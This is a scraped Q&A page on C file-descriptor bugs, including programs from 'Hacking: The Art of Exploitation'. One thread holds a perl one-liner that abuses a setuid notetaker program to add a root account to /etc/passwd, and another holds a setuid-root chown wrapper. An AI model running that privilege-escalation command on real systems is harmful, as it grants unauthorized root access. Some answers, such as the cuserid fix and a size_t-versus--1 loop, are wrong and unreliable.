I compiled an example of a simple note-taking program that uses file descriptors from a book, and I've been getting some compiler errors related to a "write" and a "close" function, along with the use of the "strncat" function. Here is the code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
void usage(char *prog_name, char *filename) {
printf("Usage: %s <data to add to %s>\n", prog_name, filename);
exit(0);
}
void fatal(char *); // A function for fatar errors
void *ec_malloc(unsigned int); // An error-checked malloc() wrapper
int main(int argc, char *argv[]) {
int fd; // file descriptor
char *buffer, *datafile;
buffer = (char *) ec_malloc(100);
datafile = (char *) ec_malloc(20);
strcpy(datafile, "/tmp/notes");
if (argc < 2) // If there aren't command-line arguments,
usage(argv[0], datafile); // display usage message and exit.
strcpy(buffer, argv[1]); // Copy into buffer.
printf("[DEBUG] buffer # %p: \'%s\'\n", buffer, buffer);
printf("[DEBUG] datafile # %p: \'%s\'\n", datafile, datafile);
strncat(buffer, "\n", 1); // Add a newline on the end.
// Opening file
fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
if(fd == -1)
fatal("in main() while opening file");
printf("[DEBUG] file descriptor is %d\n", fd);
//Writing data
if(write(fd, buffer, strlen(buffer)) == -1)
fatal ("in main() while writing buffer to file");
//Closing file
if(close(fd) == -1)
fatal ("in main() while closing file");
printf("Note has been saved.\n");
free(buffer);
free(datafile);
}
// A function to display and error message and then exit
void fatal(char *message) {
char error_message[100];
strcpy(error_message, "[!!] Fatal Error ");
strncat(error_message, message, 83);
perror(error_message);
exit(-1);
}
// An error-checked malloc() wrapper function
void *ec_malloc(unsigned int size) {
void *ptr;
ptr = malloc(size);
if(ptr == NULL) {
fatal("in ec_malloc() on memory allocation");
exit(-1);
}
return ptr;
}
And this is the compiler error:
implenote.c: In function ‘main’:
simplenote.c:39:5: warning: implicit declaration of function ‘write’; did you mean ‘fwrite’? [-Wimplicit-function-declaration]
39 | if(write(fd, buffer, strlen(buffer)) == -1)
| ^~~~~
| fwrite
simplenote.c:42:5: warning: implicit declaration of function ‘close’; did you mean ‘pclose’? [-Wimplicit-function-declaration]
42 | if(close(fd) == -1)
| ^~~~~
| pclose
simplenote.c:31:2: warning: ‘strncat’ specified bound 1 equals source length [-Wstringop-overflow=]
31 | strncat(buffer, "\n", 1); // Add a newline on the end.
The code was copied from the book without any alteration, i would like to know why this is happening and what i can do to make the code run. Note that the book (Hacking: The Art of Exploitation, Second Edition) is a bit dated and was released in 2008.
To access the Posix low level file interface such as open, read, write and close, you should include <unistd.h>.
Note however that your program does not seem to require such low level interface, you might consider creating your output file using standard streams declared in <stdio.h>, using fopen, fputs or fprintf and fclose.
Related
The following code is supposed to read the file "rules.txt" and write it to a device line by line.
The flow should be:
Read line from rules.txt
Echo it to device
The following code always end in segfault because of readline and I have no idea why:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <sys/types.h>
#include <sys/mman.h>
#define BUFFER_LENGTH 256
int main()
{
char *line;
size_t len = BUFFER_LENGTH;
int fd = open("./rules.txt", O_RDONLY);
if(fd == -1)
{ perror("open failed"); return 0; }
FILE* fout = fopen("/sys/class/Rule_Table_Class/Rule_Table_Class_Rule_Table_Device/sysfs_att", "w+");
if(fout == NULL)
{ close(fd); perror("fopen failed, log.txt is busy!"); return 0; }
while (1)
{
line = (char*) malloc(len*sizeof(char));
if(line==NULL){
perror("malloc failed!"); return 0;
}
int bytesRead = getline(&line, &len, fd);
if (bytesRead == -1)
{
perror("Failed to read the message from the device.");
return errno;
}
sprintf(line,"%s","lala");
printf("line = %s", line);
}
fclose(fout);
close(fd);
return 0;
}
EDIT:
I corrected the code and still get a segfault. Here is the corrected code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <sys/types.h>
#include <sys/mman.h>
#define BUFFER_LENGTH 256
int main()
{
FILE * fp;
char * line = NULL;
size_t len = 0;
ssize_t read;
fp = fopen("./rules.txt", "r");
if(fp == NULL)
{ perror("open failed"); return 0; }
FILE* fout = fopen("/sys/class/Rule_Table_Class/Rule_Table_Class_Rule_Table_Device/sysfs_att", "w+");
if(fout == NULL)
{ perror("fopen failed!"); return 0; }
while (1)
{
ssize_t bytesRead = getline(&line, &len, fp);
if (bytesRead == -1)
{
return 0;
}
printf("line = %s", line);
fprintf(line,"%s",fout);
}
fclose(fout);
fclose(fp);
return 0;
}
First of all, the proper core getline() loop is
/* FILE *in = fopen(..., "r"); */
char *line = NULL;
size_t size = 0;
while (1) {
ssize_t len = getline(&line, &size, in);
if (len < 0)
break;
/* You have 'len' chars at 'line', with line[len] == '\0'. */
}
so, it is not getline() that causes the segfault, it is your fprintf(line, "%s", fout); that should be either fprintf(fout, "%s", line); or just fputs(line, fout);, or fwrite(line, 1, bytesRead, fout); since the line can contain embedded NUL bytes that fprintf() and fputs() consider an end of string mark.
If we modify the code so that the source and target file names are taken as command-line arguments (with - denoting standard input or standard output), this is what I'd personally like to see:
/* SPDX-License-Identifier: CC0-1.0 */
/* This tells the GNU C library to expose POSIX features, including getline(). */
#define _POSIX_C_SOURCE 200809L
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
int main(int argc, char *argv[])
{
if (argc != 3 || !strcmp(argv[1], "-h") || !strcmp(argv[1], "--help")) {
const char *self = (argc > 0 && argv && argv[0] && argv[0][0]) ? argv[0] : "(this)";
fprintf(stderr, "\n");
fprintf(stderr, "Usage: %s [ -h | --help ]\n", self);
fprintf(stderr, " %s SOURCE TARGET\n", self);
fprintf(stderr, "\n");
fprintf(stderr, "This copies all content from SOURCE to TARGET, line by line.\n");
fprintf(stderr, "Use '-' for standard input source or standard output target.\n");
fprintf(stderr, "\n");
return EXIT_SUCCESS;
}
const char *srcpath = argv[1];
const char *dstpath = argv[2];
/* If the path is "-", set it to NULL. */
if (srcpath && !strcmp(srcpath, "-"))
srcpath = NULL;
if (dstpath && !strcmp(dstpath, "-"))
dstpath = NULL;
FILE *src, *dst;
/* Open source for reading. If srcpath is NULL, use stdin. */
if (srcpath) {
src = fopen(srcpath, "r");
if (!src) {
fprintf(stderr, "%s: %s.\n", srcpath, strerror(errno));
return EXIT_FAILURE;
}
} else {
src = stdin;
}
/* Open target for writing. If dstpath is NULL, use stdout. */
if (dstpath) {
dst = fopen(dstpath, "w");
if (!dst) {
fprintf(stderr, "%s: %s.\n", dstpath, strerror(errno));
fclose(src);
return EXIT_FAILURE;
}
} else {
dst = stdout;
}
char *line = NULL;
size_t size = 0;
unsigned long linenum = 0;
while (1) {
ssize_t len = getline(&line, &size, src);
if (len < 0)
break;
linenum++;
if (fwrite(line, 1, len, dst) != (size_t)len) {
fprintf(stderr, "%s: Write error on line %lu.\n", dstpath ? dstpath : "(standard output)", linenum);
fclose(dst);
fclose(src);
return EXIT_FAILURE;
}
}
/* Technically, we don't need to release dynamically allocated (non-shared) memory,
because we're just about to exit, and the OS will automagically do that for us.
We can do this at any point we want during the loop, too. */
free(line);
line = NULL;
size = 0;
/* We do not know why getline() returned -1. Check if an error occurred, and whether we're at end of input. */
if (ferror(src) || !feof(src)) {
fprintf(stderr, "%s: Read error on line %lu.\n", srcpath ? srcpath : "(standard input)", linenum);
fclose(dst);
fclose(src);
return EXIT_FAILURE;
}
/* Check if any write errors have occurred. */
if (ferror(dst)) {
fprintf(stderr, "%s: Write error on line %lu.\n", dstpath ? dstpath : "(standard output)", linenum);
fclose(dst);
fclose(src);
}
/* Read errors should not occur at close time, but it costs very little for us to test anyway. */
if (fclose(src)) {
fprintf(stderr, "%s: Read error on line %lu.\n", srcpath ? srcpath : "(standard input)", linenum);
fclose(dst);
return EXIT_FAILURE;
}
/* Write errors can occur at close time, if the output has been buffered, or the target is on
a remote filesystem. Again, it costs us very little to check. */
if (fclose(dst)) {
fprintf(stderr, "%s: Write error on line %lu.\n", dstpath ? dstpath : "(standard output)", linenum);
return EXIT_FAILURE;
}
/* No errors; target is an identical copy of the source file. */
fprintf(stderr, "%lu lines copied successfully.\n", linenum);
return EXIT_SUCCESS;
}
The SPDX-License-Identifier is a common way to indicate the license of the code. I use CC0-1.0, which basically means "use as you wish, just don't blame the author for any issues: no guarantees, no warranties."
The #define _POSIX_C_SOURCE 200809L tells the GNU C library that we want it to expose POSIX.1-2008 features, which include getline(). If you look at man 3 getline, you'll see in the Synopsis section that glibc 2.10 and later require _POSIX_C_SOURCE to be defined to at least 200809L.
Most of the code is to print the usage, and getting the source and target file names from the command line, and handling - as a special name, "standard stream", so that it can be used even in pipes by specifying - as the input and/or output file name.
The getline() loop uses fwrite() to write the line to the target file. This way, if the input contains embedded NUL bytes (\0), the target will still be identical to the source file.
After the loop, we discard the line buffer, although since the program is just about to exit, we could omit that (since the OS will release all dynamically allocated (non-shared) memory when we exit anyway).
I like code that checks with ferror(src) || !feof(src) if an error occurred in src or src did not reach end of input; and that checks the return value of fclose(), in case a delayed (write) error is reported. Granted, fclose() should never fail for a read-only file, and fclose() should only fail for files we've written to in specific circumstances, but it costs very little to check, and this way the user running the program will be told if the program detected loss of data.
I believe it is morally reprehensible to ignore checking for such errors (especially "because they occur so rarely"), since such tests are the only way the human user can know whether the operation was successful, or if some odd problem occurred. It is up to the human to investigate any problems, and up to our programs to report detectable issues.
The getline function takes a FILE * as a parameter, not an int. Replace the following line:
int fd = open("./rules.txt", O_RDONLY);
By;
FILE *fin = fopen("./rules.txt", "r");
Fix the error checking in the following lines accordingly, like you did with fout.
Then replace the line:
int bytesRead = getline(&line, &len, fd);
Instead it should now use fin:
ssize_t bytesRead = getline(&line, &len, fin);
Note that getline returns ssize_t, not int.
You are also never writing to fout, but I guess you're still working on this code.
Make sure to enable compiler warnings, because your compiler would surely have warned you for using an int parameter where a FILE * was expected.
I've been out of programming in C for almost 2 years and have recently gotten an assignment in school on using write() and read().
Somewhere in the code I'm receiving the Segmentation Fault error, possibly on the filecopy function is where I'd put my money on. I was trying GDB but I haven't used that since that last time I programmed in C so I turn to here.
The code.
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
int main(int argc, char *argv[]) {
void filecopy(int infd, int outfd);
int fd = -1;
char *prog = argv[0];
if(argc == 1)
filecopy(STDIN_FILENO, STDOUT_FILENO);
else
while(--argc > 0) {
if((fd = open(*++argv, O_RDONLY, "rb")) == -1) {
// we don't have fprintf... but we have sprintf =]
char tmp[30];
sprintf(tmp, "%s: can't open %s\0", prog, *argv);
write(STDOUT_FILENO, &tmp, sizeof(tmp));
exit(-1);
} else {
filecopy(fd, STDOUT_FILENO);
close(fd);
}
}
exit(0);
}
void filecopy(int infd, int outfd) {
// char *buf[1]; <-- causes unreadable characters outputted by write
char *buf;
while(read(infd, buf, 1) != -1)
write(outfd, buf, sizeof(buf));
}
The input/output
Thanks!
char *buf; is an uninitialized pointer, writing data through that pointer is
undefined behaviour.
char buf[1024];
ssize_t len;
while((len = read(infd, buf, sizeof buf)) != -1)
write(outfd, buf, len);
would be correct.
Note that char *buf[1]; is a array (of dimension 1) of pointers, that's
different to an array of chars. Using that you would need to do
read(infd, buf[0], somelength), but here again buf[0] would be an
uninitialized pointer and you would have the same problem. That's why declaring
an char array of say 1024 (you can choose another size) is the correct thing
to do.
Also in main use strlen(tmp) and not sizeof(tmp)
char tmp[30];
sprintf(tmp, "%s: can't open %s\0", prog, *argv);
write(STDOUT_FILENO, &tmp, strlen(tmp));
strlen returns you the length of the string which might be smaller than 29 and
if you use sizeof(tmp) you might be writing garbage past the end of the
string. Note also that 0 may be too small for the whole string, I'd use a
larger number or construct the string using snprintf:
snprintf(tmp, sizeof tmp, "%s: can't open %s\0", prog, *argv);
would be more safe.
Last thing:
while(--argc > 0)
if((fd = open(*++argv, O_RDONLY, "rb")) == -1) {
...
While this is correct, I feel that this code is awkward and hard to read. It
would be so much simpler to read if you did:
for(int i = 1; i < argc; ++i)
if((fd = open(argv[i], O_RDONLY, "rb")) == -1) {
...
I've never seen open being called with "rb" as the mode. My man page says:
man 2 open
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int open(const char *pathname, int flags, mode_t mode);
[...]
The mode argument specifies the file mode bits be applied when a new file is created. This argument must be supplied when
O_CREAT or O_TMPFILE is specified in flags; if neither O_CREAT nor O_TMPFILE is specified, then mode is ignored.
The effective mode is modified by the process's umask in the usual way: in the absence of a default ACL, the mode of the created file is
(mode & ~umask). Note that this mode applies only to future accesses of the newly created file; the open() call that creates a
read-only file may well return a read/write file descriptor.
The following symbolic constants are provided for mode:
S_IRWXU 00700 user (file owner) has read, write, and execute permission
S_IRUSR 00400 user has read permission
S_IWUSR 00200 user has write permission
S_IXUSR 00100 user has execute permission
[...]
As you are neither using O_CREAT nor O_TMPFILE, this parameter will be
ignore and you are passing a char* as a mode_t which is integer in nature.
Hence your call should be:
if((fd = open(argv[i], O_RDONLY, 0)) == -1) {
...
Two adjustments are needed for you filecopy function:
You need to allocate space for your buffer. Right now you are using an uninitialized pointer and passing it to read which is undefined behavior.
You need to save the return value of read and pass the value to write
The end result should look something like this.
void filecopy(int infd, int outfd) {
char buf[1024];
size_t bytes_read;
while((bytes_read = read(infd, buf, sizeof buf)) != -1)
write(outfd, buf, bytes_read);
}
Running this through a static analysis tool gives 2 warnings:
1) The uninitialized variable that #Pablo points to
2) a buffer overrun when you sprintf *argv into tmp as *argv can very large (as #Pablo also suggested in his comment re: snprintf)
This problem deals with an exploit on page 155 of the book Hacking: The art of exploitation. Here, the Notetaker program is used to append an entry with root privileges onto the /etc/passwd file.
The code for Notetaker.c goes like this:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"
void usage(char *prog_name, char *filename) {
printf("Usage: %s <data to add to %s>\n", prog_name, filename);
exit(0);
}
void fatal(char *); // a function for fatal errors
void *ec_malloc(unsigned int); // an errorchecked malloc() wrapper
int main(int argc, char *argv[]) {
int userid, fd; // file descriptor
char *buffer, *datafile;
buffer = (char *) ec_malloc(100);
datafile = (char *) ec_malloc(20);
strcpy(datafile, "/var/notes");
if(argc < 2) // If there aren't commandline arguments
usage(argv[0], datafile); // display usage message and exit
strcpy(buffer, argv[1]); // copy into buffer
printf("[DEBUG] buffer # %p: \'%s\'\n", buffer, buffer);
printf("[DEBUG] datafile # %p: \'%s\'\n", datafile, datafile);
// Opening the file
fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
if(fd == -1)
fatal("in main() while opening file");
printf("[DEBUG] file descriptor is %d\n", fd);
userid = getuid(); // get the real user ID
// Writing data
if(write(fd, &userid, 4) == -1) // write user ID before note data
fatal("in main() while writing userid to file");
write(fd, "\n", 1); // terminate line
if(write(fd, buffer, strlen(buffer)) == -1) // write note
fatal("in main() while writing buffer to file");
write(fd, "\n", 1); // terminate line
// Closing file
if(close(fd) == -1)
fatal("in main() while closing file");
printf("Note has been saved.\n");
free(buffer);
free(datafile);
}
A soft link is created to /bin/bash thru /tmp/etc/passwd
"password" is given as a default password with salt XX--XXq2wKiyI43A2
And User ID is given as 0- to get root privileges.
The exploit goes as below:
$ ./notetaker $(perl -e 'print "myroot:XXq2wKiyI43A2:0:0:" . "A"x68 .
":/root:/tmp/etc/passwd"')
When I try this, all I get is a fatal error while opening the file saying permission is denied.
It seems to work just fine in the book since $tail /etc/passwd shows the new entry thru this exploit which gives a root access.
Pls help.
You need to read chapter two. It shows you changing the owner to root via chown and chmod u+s. page 93.
I am new to C and this is a simple wrapper I wrote to run execute scripts as different user. I understand I can do visudo in etc/sudoers but, I already did this and I don't want it to go to waste, also it will help me improve writing in C. I seem to ha The problem is I am having errors when I compile it. My operating system is Ubuntu 12.04.03 LTS. Can someone help me fix these errors?
rootsuidwrapper.c: In function ‘trusted’:
rootsuidwrapper.c:60:15: warning: assignment makes pointer from integer without a cast [enabled by default]
rootsuidwrapper.c: In function ‘main’:
rootsuidwrapper.c:116:48: error: too many arguments to function ‘stat’
/usr/include/x86_64-linux-gnu/sys/stat.h:211:12: note: declared here
It would be nice if someone could fix these errors and give me the working code. Also, I would like to know what I did wrong.
* This program must be run as root to work.
*/
#if !defined(lint) && !defined(SABER) || defined(RCS_HDRS)
#endif /* !lint && !SABER || RCS_HDRS */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/stat.h>
#define TRUSTED_GROUP "trusted"
typedef enum { false = 0, true } bool;
#ifdef __STDC__
bool trusted(char *whoami)
#else
bool trusted(whoami)
char *whoami;
#endif /* __STDC__ */
{
char *user;
char host[BUFSIZ + 1];
char domain[BUFSIZ + 1];
struct hostent *hp;
/*
* Figure out whether this user on this host in this domain is
* trusted.
*/
/*
* Determine our domain name
*/
(void) memset(domain, '\0', sizeof(domain));
getdomainname(domain, sizeof(domain) - 1);
/*
* Figure out our fully canonicalized hostname
*/
(void) memset(host, '\0', sizeof(host));
gethostname(host, sizeof(host) - 1);
if ((hp = gethostbyname(host)) == NULL) {
strcat(host, ".");
strcat(host, domain);
fprintf(stderr,
"%s: WARNING: can't canonlicalize hostname; assuming %s.\n",
whoami, host);
}
else {
strcpy(host, hp->h_name);
}
/*
* Get login name of current user
*/
if ((user = cuserid(NULL)) == NULL) {
fprintf(stderr, " %s: You do not seem to be in the passwd file!\n",
whoami);
return(false);
}
/*
* Look this triple up in the trusted netgroup
*/
return ((innetgr(TRUSTED_GROUP, host, user, domain) == 1) ? true : false);
}
#ifdef __STDC__
main(int argc, char *argv[])
#else
main(argc, argv)
int argc;
char *argv[];
#endif /* __STDC__ */
{
char *whoami;
int ouruid; /* uid we set to run chown and chmod */
int proguid; /* uid we are chowning program to */
char *filename;
struct stat statbuf;
int error = 0;
if (whoami = strrchr(argv[0], '/'))
whoami ++;
else
whoami = argv[0];
if (argc == 3)
proguid = atoi(argv[2]);
else if (argc == 2)
proguid = 0;
else {
fprintf(stderr, "usage: %s filename [proguid]\n", whoami);
exit(1);
}
filename = argv[1];
if (trusted(whoami))
ouruid = 0;
else
ouruid = getuid();
if (setuid(ouruid) == -1) {
fprintf(stderr, "%s: Warning: setuid(%d) failed: ", whoami, ouruid);
perror(NULL);
exit(1);
}
if (stat(filename, &statbuf, sizeof(struct stat)) == -1) {
fprintf(stderr, "%s: failure statting %s: ", whoami, filename);
perror(NULL);
exit(1);
}
if (chown(filename, proguid, -1) == -1) {
error++;
fprintf(stderr, "%s: chown %d %s failed: ", whoami, proguid, filename);
perror(NULL);
fprintf(stderr, "continuing...\n");
}
if (chmod(filename, statbuf.st_mode | S_ISUID)) {
error++;
fprintf(stderr, "%s: chmod u+s %s failed: ", whoami, filename);
perror(NULL);
}
return(error);
}
Help is appreciated,
NAME
stat, fstat, lstat - get file status
SYNOPSIS
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
int stat(const char *path, struct stat *buf);
int fstat(int filedes, struct stat *buf);
int lstat(const char *path, struct stat *buf);
Remove your third parameter in the call to stat(). Your code should then be:
if (stat(filename, &statbuf) == -1) {
There is no need to tell stat() the size of the buffer because stat() expects a struct stat * which has a fixed size.
For the compiler warning:
cuserid() returns a pointer to a character (char*). When any function returns a pointer, and you want to place the return value into a buffer, then you have to put the return value into a specific place in the buffer, usually the beginning. Specifically, you should use:
*user = cuserid(NULL);
if(user == NULL)
Remember, cuserid() returns a pointer to a single character. Therefore, the return value of the function should go into a single character - that is, *user or user[0]. When the above code is used, the compiler shouldn't complain. Then you place the result of cuserid(NULL) into user, from the first byte to the rest of the memory allocated.
I have a simple Linux C program that I'm writing to help me better understand IPC, right now I'm trying to build it with pipes. I have a single code base that I run in two different terminal windows as two different executables (so they can talk to each other). However I'm not doing something correct, because I never get any data to read, but I'm not sure what...
NOTE This is not the full code, I chopped out the output/input/validation to save space. But it's noted in the comments in the program below.
void main()
{
int pipefd[2], n;
char input = 0;
char buffer[100] = {0};
char outpipe[100] = {0};
if(pipe(pipefd) < 0) {
printf("FAILED TO MAKE PIPES\n");
return;
}
printf("Starting up, read fd = %d, write fd = %d\n", pipefd[0],pipefd[1]);
do {
//print menu options (send message, get message, get my fd,
// set a fd to talk to, quit)
// if "send a message":
{
printf("What would you like to send?\n");
fgets(buffer, 100, stdin);
write(pipefd[1], buffer, strlen(buffer));
}
//else if "read a message":
{
if(open(outpipe, 0) < 0)
printf("Couldn't open the pipe!\n");
else {
n = read(outpipe, buffer, 100);
printf("I got a read of %d bytes\nIt was %s\n",n, buffer);
close(outpipe);
}
}
//else if "get my file descriptor":
printf("My fd tag is: /proc/%d/fd/%d\n", (int)getpid(), pipefd[0]);
//else if "set a file descriptor to talk to":
{
printf("What is the pipe's file descriptor?\n");
fgets(outpipe, 100, stdin);
n = strlen(outpipe) - 1;
outpipe[n] = '\0';
}
} while (input != 'Q');
return;
}
I know the pipes are created successfully, I verified the file descriptors are in place:
lr-x------ 1 mike users 64 Sep 26 23:31 3 -> pipe:[33443]
l-wx------ 1 mike users 64 Sep 26 23:31 4 -> pipe:[33443]
Looks like the permissions are OK (read on pipe 3, write on pipe 4).
I use it as such:
//terminal 1
Pick an option:
3
My fd tag is: /proc/8956/fd/3
//terminal 2
Pick an option:
4
What is the pipe's file descriptor?
/proc/8956/fd/3
Pick an option:
1
What would you like to send?
hello
//terminal 1
Pick an option:
2
I got a read of -1 bytes
It was
Is there anything obviously wrong that I'm doing here? My reads always get "-1" return value...
It seems you have misunderstood how pipe works. A pipe is an anonymous file descriptor that is not going by file in the file system. The files in /proc/<pid>/fd you don't have to care about.
Here is a rewrite of what you are trying to do:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(void)
{
int pipefds[2];
char input[128];
char output[128];
ssize_t nread;
if (pipe(pipefds) == -1)
{
perror("Could not create pipe");
return EXIT_FAILURE;
}
printf("Enter input: ");
if (fgets(input, sizeof(input), stdin) == NULL)
{
perror("Could not read input");
return EXIT_FAILURE;
}
/* "Remove" newline from input */
if (input[strlen(input) - 1] == '\n')
input[strlen(input) - 1] = '\0';
/* Now write the received input to the pipe */
if (write(pipefds[1], input, strlen(input) + 1) == -1)
{
perror("Could not write to pipe");
return EXIT_FAILURE;
}
/* Now read from the pipe */
if ((nread = read(pipefds[0], output, sizeof(output))) == -1)
{
perror("Could not reaf from pipe");
return EXIT_FAILURE;
}
/* We don't need to terminate as we send with the '\0' */
printf("Received: \"%s\"\n", output);
return EXIT_SUCCESS;
}
Here is your primary concern:
./ipctest.c: In function ‘main’:
./ipctest.c:32:9: warning: passing argument 1 of ‘read’ makes integer from pointer without a cast [enabled by default]
/usr/include/unistd.h:361:16: note: expected ‘int’ but argument is of type ‘char *’
./ipctest.c:34:9: warning: passing argument 1 of ‘close’ makes integer from pointer without a cast [enabled by default]
/usr/include/unistd.h:354:12: note: expected ‘int’ but argument is of type ‘char *’
Look at the data types required for a certain function... :)